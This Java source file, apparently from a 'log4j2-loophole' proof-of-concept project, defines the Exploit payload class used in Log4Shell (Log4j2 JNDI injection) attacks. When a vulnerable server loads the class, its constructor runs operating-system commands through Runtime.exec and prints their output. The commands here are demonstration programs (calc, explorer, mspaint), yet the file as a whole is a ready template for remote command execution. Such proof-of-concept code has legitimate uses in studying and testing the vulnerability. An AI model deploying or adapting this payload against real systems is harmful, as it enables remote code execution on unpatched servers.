/**
 * @author hqd
 * @title: Exploit
 * @projectName log4j2-loophole
 * @description: TODO
 * @date 2021/12/11
 */

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit {
    public Exploit() throws IOException, InterruptedException {
        String[] cmds = {"calc", "explorer", "mspaint"};
        for (int i = 0; i < cmds.length; i++) {
            Process process = Runtime.getRuntime().exec(cmds[i]);
            printMessage(process.getInputStream());
            printMessage(process.getErrorStream());
            int value = process.waitFor();
            System.out.println(value);
        }
    }

    private static void printMessage(final InputStream input) {
        new Thread(() -> {
            String line = null;
            try (BufferedReader bf = new BufferedReader(new InputStreamReader(input))) {
                while ((line = bf.readLine()) != null) {
                    System.out.println(line);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }).start();

    }
}
